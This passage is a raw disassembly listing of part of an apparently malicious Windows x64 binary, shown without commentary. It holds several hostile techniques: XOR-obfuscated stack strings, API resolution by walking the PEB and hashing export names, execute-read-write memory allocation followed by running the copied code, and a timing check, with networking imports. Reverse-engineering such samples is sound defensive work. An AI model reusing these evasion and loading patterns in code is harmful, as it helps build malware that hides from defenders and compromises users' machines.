test rdx, rdx
je 0x1400626f0
sub rbx, rax
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1400626e0
xor edi, edi
lea rcx, [rsp + 0x68]
call fcn.1400608a0
mov qword [rbp + 0x60], rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x270]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x270]
movaps xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rbp + 0x280]
movaps xmmword [rbp + 0xc0], xmm1
mov eax, dword [rbp + 0x290]
mov dword [rbp + 0xd0], eax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x9a0]
call fcn.140060980
mov rbx, rax
cmp r12, rax
je 0x1400627b9
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0x10
jb 0x140062795
inc rdx
mov rcx, qword [0x14014a408]
cmp rdx, 0x1000
jb 0x140062790
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140062a6b
mov rcx, r8
call fcn.1400c884c
mov qword [0x14014a418], rdi
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x14014a408], 0
mov rdx, rbx
mov rcx, r12
call fcn.140052b90
mov rdx, qword [rbp + 0x9b8]
cmp rdx, 0x10
jb 0x1400627fa
inc rdx
mov rcx, qword [rbp + 0x9a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400627f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140062a6b
call fcn.1400c884c
mov qword [rbp + 0x9b0], rdi
mov qword [rbp + 0x9b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x9a0], 0
mov rdx, qword [rbp + 0x998]
cmp rdx, 0x10
jb 0x140062854
inc rdx
mov rcx, qword [rbp + 0x980]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006284f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140062a72
call fcn.1400c884c
mov qword [rbp + 0x990], rdi
mov qword [rbp + 0x998], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x980], 0
mov rdx, qword [rbp + 0x978]
cmp rdx, 0x10
jb 0x1400628ae
inc rdx
mov rcx, qword [rbp + 0x960]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400628a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140062a72
call fcn.1400c884c
mov qword [rbp + 0x970], rdi
mov qword [rbp + 0x978], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x960], 0
inc r14d
mov rcx, qword [0x14014b5f8]
mov rax, rcx
mov rdx, qword [0x14014b5f0]
sub rax, rdx
sar rax, 6
movsxd rbx, r14d
cmp rbx, rax
jb 0x140062580
movabs r12, 0x7fffffffffffffff
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae r15, qword [0x14014a3c8]
mov r8, qword [0x14014a3d8]
mov rdx, r15
lea rbx, [0x14014b750]
mov rcx, rbx
call fcn.140054b40
mov byte [rbp + 0x820], 0x56
mov al, 0x25
mov cl, 0x33
mov dl, 0x24
mov r8b, 0x3f
mov r9b, gethostname
mov r10b, Ordinal_60
xor r11d, r11d
xor al, 0x56
mov byte [rbp + 0x821], al
xor cl, 0x56
mov byte [rbp + 0x822], cl
xor dl, 0x56
mov byte [rbp + 0x823], dl
xor r8b, 0x56
mov byte [rbp + 0x824], r8b
xor r9b, 0x56
mov byte [rbp + 0x825], r9b
xor r10b, 0x56
mov byte [rbp + 0x826], r10b
mov byte [rbp + 0x827], r11b
cmp qword [0x14014b768], 0x10
cmovae rbx, qword [0x14014b750]
mov byte [rsp + 0x5c], 0x58
mov al, 0x7d
mov cl, 0x2b
xor edx, edx
xor al, 0x58
mov byte [rsp + 0x5d], al
xor cl, 0x58
mov byte [rsp + 0x5e], cl
mov byte [rsp + 0x5f], dl
mov r8, rbx
lea rdx, [rsp + 0x5d]
lea rcx, [rbp + 0xb90]
call fcn.140060860
lea rsi, [0x14014b770]
cmp qword [0x14014b788], 0x10
cmovae rsi, qword [0x14014b770]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140062a66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140062a66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x3b566b20
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140062a61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140062a40
cmp r8d, 0xa0e6b029
je 0x140062a79
test r9d, r9d
jne 0x140062a20
mov rax, qword [rax]
jmp 0x1400629f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [0x14014af30]
lea r8, [rbp + 0xb90]
mov rdx, rsi
lea rcx, [rbp + 0x821]
call r10
nop
mov rdx, qword [rbp + 0x910]
cmp rdx, 0x10
jb 0x140062af1
inc rdx
mov rcx, qword [rbp + 0x8f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062aec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140062aec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c884c
movdqa xmm0, xmmword [0x1400da020]
movdqu xmmword [rbp + 0x908], xmm0
mov byte [rbp + 0x8f8], 0
movdqa xmm1, xmmword [0x1400da300]
movdqu xmmword [rbp + 0x670], xmm1
mov r8b, 0x40
mov r9b, 0x5a
mov r10b, 0x5c
mov r11b, 0x5d
mov bl, Ordinal_30
movzx edi, bl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x671], al
xor byte [rbp + 0x672], dl
xor byte [rbp + 0x673], dl
xor byte [rbp + 0x674], dl
xor byte [rbp + 0x675], dl
xor byte [rbp + 0x676], dl
xor byte [rbp + 0x677], dl
xor byte [rbp + 0x678], dl
xor byte [rbp + 0x679], dl
xor byte [rbp + 0x67a], dl
xor byte [rbp + 0x67b], dl
xor byte [rbp + 0x67c], dl
xor byte [rbp + 0x67d], dl
xor byte [rbp + 0x67e], dl
xor byte [rbp + 0x67f], dl
xor r8b, dl
mov byte [rbp + 0x680], r8b
xor r9b, dl
mov byte [rbp + 0x681], r9b
xor r10b, dl
mov byte [rbp + 0x682], r10b
xor r11b, dl
mov byte [rbp + 0x683], r11b
xor bl, dl
mov byte [rbp + 0x684], bl
xor dil, dl
mov byte [rbp + 0x685], dil
mov byte [rbp + 0x686], 0
lea rdx, [rbp + 0x671]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b2d0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
cmp rbx, 0x989680
jne 0x140062c16
imul rax, rax, 0x64
jmp 0x140062c31
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffffc46535ff
cmp rax, rcx
jge 0x140062c4c
add rax, 0x3b9aca00
mov qword [rbp - 0x40], rax
jmp 0x140062c50
mov qword [rbp - 0x40], r12
lea rcx, [rbp - 0x40]
call fcn.14004dc00
call fcn.140057450
test al, al
jne 0x140062f50
movdqa xmm1, xmmword [str.bCB_a]
movdqu xmmword [rbp + 0x618], xmm1
movdqa xmm2, xmmword [0x1400da310]
movdqu xmmword [rbp + 0x628], xmm2
mov r8b, reloc.WS2_32.dll_recvfrom
mov r9b, 7
mov r10b, reloc.WLDAP32.dll_Ordinal_22
mov r11b, reloc.WS2_32.dll_socket
mov bl, reloc.WS2_32.dll_select
mov dil, 0x43
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x619], al
xor byte [rbp + 0x61a], dl
xor byte [rbp + 0x61b], dl
xor byte [rbp + 0x61c], dl
xor byte [rbp + 0x61d], dl
xor byte [rbp + 0x61e], dl
xor byte [rbp + 0x61f], dl
xor byte [rbp + 0x620], dl
xor byte [rbp + 0x621], dl
xor byte [rbp + 0x622], dl
xor byte [rbp + 0x623], dl
xor byte [rbp + 0x624], dl
xor byte [rbp + 0x625], dl
xor byte [rbp + 0x626], dl
xor byte [rbp + 0x627], dl
movd eax, xmm2
xor al, dl
mov byte [rbp + 0x628], al
xor byte [rbp + 0x629], dl
xor byte [rbp + 0x62a], dl
xor byte [rbp + 0x62b], dl
xor byte [rbp + 0x62c], dl
xor byte [rbp + 0x62d], dl
xor byte [rbp + 0x62e], dl
xor byte [rbp + 0x62f], dl
xor byte [rbp + 0x630], dl
xor byte [rbp + 0x631], dl
xor byte [rbp + 0x632], dl
xor byte [rbp + 0x633], dl
xor byte [rbp + 0x634], dl
xor byte [rbp + 0x635], dl
xor byte [rbp + 0x636], dl
xor byte [rbp + 0x637], dl
xor r8b, dl
mov byte [rbp + 0x638], r8b
xor r9b, dl
mov byte [rbp + 0x639], r9b
xor r10b, dl
mov byte [rbp + 0x63a], r10b
xor r11b, dl
mov byte [rbp + 0x63b], r11b
xor bl, dl
mov byte [rbp + 0x63c], bl
xor dil, dl
mov byte [rbp + 0x63d], dil
mov byte [rbp + 0x63e], 0
lea rdx, [rbp + 0x619]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b2d0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x7d0
lea rcx, [rsp + 0x50]
call fcn.14004db60
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [rbp - 0x50], 1
lea rsi, [rbp + 0xbe8]
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp - 0x70], rdi
mov qword [rsi], 0
xor ecx, ecx
mov rax, qword [0x14014db60]
lea r14, [0x14004b9d0]
test rax, rax
je 0x140062e59
xor edx, edx
cmp rax, r14
je 0x140062e48
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14db60]
test rax, rax
jne 0x140062e30
jmp 0x140062e59
mov r8, qword [r13 + rdx*8 + 0x14de80]
test r8, r8
jne 0x140062f3f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140062f1e
mov rax, r14
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140062e90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014db50]
mov qword [r13 + rax*8 + 0x14db60], r14
mov qword [r13 + rax*8 + 0x14de80], r8
inc rax
mov qword [0x14014db50], rax
lea rdx, [rbp - 0x50]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
call fcn.14005a2d0
mov byte [0x14014af23], al
xor r12d, r12d
test al, al
jne 0x1400641ff
mov byte [rbp + 0x888], reloc.WLDAP32.dll_Ordinal_35
mov al, 0x62
mov cl, 0x53
mov dl, 0x46
mov r8b, 0x5b
mov r9b, 3
mov r10b, reloc.WS2_32.dll_WSAGetLastError
movzx r11d, dl
mov bl, 0x44
movzx edi, dl
mov sil, Ordinal_79
mov r14b, 0x47
mov r15b, 0x50
xor al, 0x23
mov byte [rbp + 0x889], al
xor cl, 0x23
mov byte [rbp + 0x88a], cl
xor dl, 0x23
mov byte [rbp + 0x88b], dl
xor r8b, 0x23
mov byte [rbp + 0x88c], r8b
xor r9b, 0x23
mov byte [rbp + 0x88d], r9b
xor r10b, 0x23
mov byte [rbp + 0x88e], r10b
xor r11b, 0x23
mov byte [rbp + 0x88f], r11b
xor bl, 0x23
mov byte [rbp + 0x890], bl
xor dil, 0x23
mov byte [rbp + 0x891], dil
xor sil, 0x23
mov byte [rbp + 0x892], sil
xor r14b, 0x23
mov byte [rbp + 0x893], r14b
xor r15b, 0x23
mov byte [rbp + 0x894], r15b
mov byte [rbp + 0x895], r12b
mov byte [rbp + 0x858], reloc.WLDAP32.dll_Ordinal_45
mov al, 0x7f
mov cl, 0x48
mov dl, 0x5e
mov r8b, 0x5d
mov r9b, 0x4c
mov r10b, 0x5a
mov r11b, 0x43
mov bl, Ordinal_30
movzx edi, bl
mov sil, Ordinal_30
xor al, 0x2d
mov byte [rbp + 0x859], al
xor cl, 0x2d
mov byte [rbp + 0x85a], cl
xor dl, 0x2d
mov byte [rbp + 0x85b], dl
xor r8b, 0x2d
mov byte [rbp + 0x85c], r8b
xor r9b, 0x2d
mov byte [rbp + 0x85d], r9b
xor r10b, 0x2d
mov byte [rbp + 0x85e], r10b
xor r11b, 0x2d
mov byte [rbp + 0x85f], r11b
xor bl, 0x2d
mov byte [rbp + 0x860], bl
xor dil, 0x2d
mov byte [rbp + 0x861], dil
xor sil, 0x2d
mov byte [rbp + 0x862], sil
mov byte [rbp + 0x863], r12b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140063126
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140063126
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x8a731c7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140063121
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140063100
cmp r8d, 0x28a023e3
je 0x14006312b
test r9d, r9d
jne 0x1400630e0
mov rax, qword [rax]
jmp 0x1400630b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x889]
lea rcx, [rbp + 0x859]
call r8
test rax, rax
je 0x140063455
movdqa xmm1, xmmword [0x1400da3d0]
movdqu xmmword [rbp + 0x7a0], xmm1
mov cl, 0x46
mov dl, 0x50
mov r8b, reloc.WS2_32.dll_setsockopt
mov r9b, 0x52
mov r10b, 0x54
mov bl, 0x58
movzx edi, dl
movzx esi, r8b
mov r14b, 0x53
mov r15b, 0x5c
mov r12b, 0x47
movzx r13d, cl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r11d, xmm1
xor al, r11b
mov byte [rbp + 0x7a1], al
xor byte [rbp + 0x7a2], r11b
xor byte [rbp + 0x7a3], r11b
xor byte [rbp + 0x7a4], r11b
xor byte [rbp + 0x7a5], r11b
xor byte [rbp + 0x7a6], r11b
xor byte [rbp + 0x7a7], r11b
xor byte [rbp + 0x7a8], r11b
xor byte [rbp + 0x7a9], r11b
xor byte [rbp + 0x7aa], r11b
xor byte [rbp + 0x7ab], r11b
xor byte [rbp + 0x7ac], r11b
xor byte [rbp + 0x7ad], r11b
xor byte [rbp + 0x7ae], r11b
xor byte [rbp + 0x7af], r11b
xor cl, r11b
mov byte [rbp + 0x7b0], cl
xor dl, r11b
mov byte [rbp + 0x7b1], dl
xor r8b, r11b
mov byte [rbp + 0x7b2], r8b
xor r9b, r11b
mov byte [rbp + 0x7b3], r9b
xor r10b, r11b
mov byte [rbp + 0x7b4], r10b
xor bl, r11b
mov byte [rbp + 0x7b5], bl
xor dil, r11b
mov byte [rbp + 0x7b6], dil
xor sil, r11b
mov byte [rbp + 0x7b7], sil
xor r14b, r11b
mov byte [rbp + 0x7b8], r14b
xor r15b, r11b
mov byte [rbp + 0x7b9], r15b
xor r12b, r11b
mov byte [rbp + 0x7ba], r12b
xor r13b, r11b
mov byte [rbp + 0x7bb], r13b
mov al, 0x41
xor al, r11b
mov byte [rbp + 0x7bc], al
mov al, reloc.WS2_32.dll_sendto
xor al, r11b
mov byte [rbp + 0x7bd], al
mov byte [rbp + 0x7be], 0
lea rdx, [rbp + 0x7a1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b2d0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x7d0
lea rcx, [rsp + 0x50]
call fcn.14004db60
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [rbp - 0x4c], 1
lea rsi, [rbp + 0xbe8]
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x20], rdi
xor r12d, r12d
mov qword [rsi], r12
mov ecx, r12d
mov rax, qword [0x14014db60]
lea r13, [0x140000000]
lea r14, [0x14004b9d0]
test rax, rax
je 0x140063359
mov edx, r12d
nop dword [rax]
cmp rax, r14
je 0x140063348
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14db60]
test rax, rax
jne 0x140063330
jmp 0x140063359
mov r8, qword [r13 + rdx*8 + 0x14de80]
test r8, r8
jne 0x14006343f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140063380
mov r8, r12
jmp 0x14006341e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140063390
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014db50]
mov qword [r13 + rax*8 + 0x14db60], r14
mov qword [r13 + rax*8 + 0x14de80], r8
inc rax
mov qword [0x14014db50], rax
lea rdx, [rbp - 0x4c]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
jmp 0x140064209
mov byte [rbp + 0x810], Ordinal_50
mov al, 8
mov cl, 6
movzx edx, al
mov r8b, 3
mov r9b, 7
xor r10b, r10b
xor r11d, r11d
xor al, 0x30
mov byte [rbp + 0x811], al
xor cl, 0x30
mov byte [rbp + 0x812], cl
xor dl, 0x30
mov byte [rbp + 0x813], dl
xor r8b, 0x30
mov byte [rbp + 0x814], r8b
xor r9b, 0x30
mov byte [rbp + 0x815], r9b
xor r10b, 0x30
mov byte [rbp + 0x816], r10b
mov byte [rbp + 0x817], r11b
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], r12
lea rax, [rbp + 0x811]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r11b
jne 0x1400634d7
lea rdx, [rbp + 0x811]
lea rcx, [rbp + 0x100]
call fcn.14004bb90
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x138]
lea rcx, [0x14014b410]
call fcn.14006f840
nop
mov byte [rbp + 0x7c0], 2
mov al, Ordinal_45
mov cl, 0x71
mov dl, 0x7b
movzx r8d, cl
xor r9d, r9d
xor al, 2
mov byte [rbp + 0x7c1], al
xor cl, 2
mov byte [rbp + 0x7c2], cl
xor dl, 2
mov byte [rbp + 0x7c3], dl
xor r8b, 2
mov byte [rbp + 0x7c4], r8b
mov byte [rbp + 0x7c5], r9b
lea edx, [r9 + 8]
lea rcx, [rbp + 0xa00]
call fcn.1400588e0
nop
mov byte [rbp + 0x848], Ordinal_79
mov cl, 8
mov dl, 0x71
mov r8b, reloc.WS2_32.dll_socket
mov r9b, reloc.WLDAP32.dll_Ordinal_30
mov r10b, gethostname
mov r11b, reloc.WLDAP32.dll_Ordinal_46
mov bl, reloc.WS2_32.dll_gethostname
movzx edi, r10b
movzx esi, r8b
xor r14d, r14d
xor cl, 0x4b
mov byte [rbp + 0x849], cl
xor dl, 0x4b
mov byte [rbp + 0x84a], dl
xor r8b, 0x4b
mov byte [rbp + 0x84b], r8b
xor r9b, 0x4b
mov byte [rbp + 0x84c], r9b
xor r10b, 0x4b
mov byte [rbp + 0x84d], r10b
xor r11b, 0x4b
mov byte [rbp + 0x84e], r11b
xor bl, 0x4b
mov byte [rbp + 0x84f], bl
xor dil, 0x4b
mov byte [rbp + 0x850], dil
xor sil, 0x4b
mov byte [rbp + 0x851], sil
mov byte [rbp + 0x852], r14b
mov r8, rax
lea rdx, [rbp + 0x849]
lea rcx, [rbp + 0x9e0]
call fcn.14004b530
nop
lea rcx, [rbp + 0x7c1]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x140063610
lea rdx, [rbp + 0x7c1]
mov rcx, rax
call fcn.140054a20
xorps xmm0, xmm0
movups xmmword [rbp + 0x938], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x948], xmm1
mov rdx, rax
lea rcx, [rbp + 0x938]
call fcn.140052b90
nop
lea rcx, [rbp + 0x9e0]
call fcn.14004f220
nop
lea rcx, [rbp + 0xa00]
call fcn.14004f220
lea rdx, [rbp + 0x938]
cmp qword [rbp + 0x950], 0x10
cmovae rdx, qword [rbp + 0x938]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rcx, [rbp + 0x3d0]
call fcn.14004def0
mov rax, qword [rbp + 0x3d0]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x3d0], r15
mov rax, qword [rbp + 0x3d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3cc], edx
mov r8, qword [rbp + 0x140]
mov rdx, qword [rbp + 0x138]
sub r8, rdx
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x3d8]
call fcn.140055bb0
test rax, rax
jne 0x140063720
mov rax, qword [rbp + 0x3d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x3d0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x3d0]
call fcn.140051af0
mov byte [rbp + 0x818], 0x63
mov al, 0x52
mov cl, 0x51
movzx edx, al
mov r8b, 0x55
mov r9b, 0x50
mov r10b, 0x5a
xor r11d, r11d
xor al, 0x63
mov byte [rbp + 0x819], al
xor cl, 0x63
mov byte [rbp + 0x81a], cl
xor dl, 0x63
mov byte [rbp + 0x81b], dl
xor r8b, 0x63
mov byte [rbp + 0x81c], r8b
xor r9b, 0x63
mov byte [rbp + 0x81d], r9b
xor r10b, 0x63
mov byte [rbp + 0x81e], r10b
mov byte [rbp + 0x81f], r11b
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r12
lea rax, [rbp + 0x819]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r11b
jne 0x1400637b0
lea rdx, [rbp + 0x819]
lea rcx, [rbp + 0xe0]
call fcn.14004bb90
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 8]
lea rcx, [0x14014b410]
call fcn.14006f840
nop
mov byte [rbp + 0x7c8], Ordinal_79
mov al, 0x67
mov cl, Ordinal_45
mov dl, Ordinal_50
movzx r8d, cl
xor r9d, r9d
xor al, 0x49
mov byte [rbp + 0x7c9], al
xor cl, 0x49
mov byte [rbp + 0x7ca], cl
xor dl, 0x49
mov byte [rbp + 0x7cb], dl
xor r8b, 0x49
mov byte [rbp + 0x7cc], r8b
mov byte [rbp + 0x7cd], r9b
lea edx, [r9 + 8]
lea rcx, [rbp + 0xa40]
call fcn.1400588e0
nop
mov byte [rbp + 0x828], Ordinal_30
mov cl, 0x5f
mov dl, 0x26
mov r8b, 0x40
mov r9b, 0x49
mov r10b, reloc.WS2_32.dll_WSAGetLastError
mov r11b, 0x79
mov bl, WSAGetLastError
movzx edi, r10b
movzx esi, r8b
xor r14d, r14d
xor cl, 0x1c
mov byte [rbp + 0x829], cl
xor dl, 0x1c
mov byte [rbp + 0x82a], dl
xor r8b, 0x1c
mov byte [rbp + 0x82b], r8b
xor r9b, 0x1c
mov byte [rbp + 0x82c], r9b
xor r10b, 0x1c
mov byte [rbp + 0x82d], r10b
xor r11b, 0x1c
mov byte [rbp + 0x82e], r11b
xor bl, 0x1c
mov byte [rbp + 0x82f], bl
